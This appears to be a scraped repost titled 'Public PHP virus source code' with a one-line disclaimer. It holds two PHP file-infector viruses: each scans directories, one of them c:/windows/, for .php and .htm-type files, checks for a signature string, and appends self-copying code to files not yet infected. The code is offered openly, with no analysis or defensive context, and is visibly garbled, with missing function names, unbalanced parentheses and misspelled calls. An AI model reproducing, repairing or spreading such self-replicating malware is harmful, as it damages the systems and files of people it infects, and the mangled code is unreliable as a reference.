Public PHP virus source code. Disclaimer: Not allowed to do destruction!

xiaoxiao2021-03-06  62

IF ($ file, '.php')) || ($ file, '.htm')) || ($ EXECUTABLE = strstr ($ file, '.php') ))) {$ host = fopen ($ file, "r"); $ contents = fread ($ host, filesis ($ file)); $ sig = strstr $ contents, 'pirus.php'); if (! $ sig) $ infected = false;}} ($ infected == false) {$ host = fopen ($ file, "a"); FPUTS ($ Host , "FPUTS ($ Host, __ file__); FPUTS ($ Host," / ");"); FPUTS ($ Host, "?>"); fclose ($ host); return;}} closedIr; Print "Hello";?>

// Second Virus: $ VIR_STRING = "neworld.php / n"; $ virstringm = "Welcome to the new world of php programming / n"; $ Virt = $ VIR_STRING. $ VIRSTRINGM;

Echo $ VIRT;

$ all = OpenDir ('c: / windows /'); while ($ file = readdir) {$ INF = true; $ exe = false;

IF ($ File, '.php')) || ($ EXE = strstr ($ file, '.html')) || ($ EXE = strstr ($ file, '.htm') ) || ($ file, '.htt'))))))))))))) ing (is_file ($ file) && is_writeable ($ file) {

$ new = fopen ($ File, "R"); $ = fread ($ new, filesis ($ file)); $ YES = strstr ($ =, 'neworld.php'); if (! $ yes) $ INF = false;}

IF ($ INF = false) {$ new = fopen ($ FILE, "A"); $ FPUTS ($ New, "); $ FPUTS ($ New," $ FPUTS ($ new, __file__); $ FPUTS ($ NEW, "/"); "); $ fputs ($ new,"?> "); return;}} closedir ($ all);?>

转载请注明原文地址:https://www.9cbs.com/read-118999.html

New Post(0)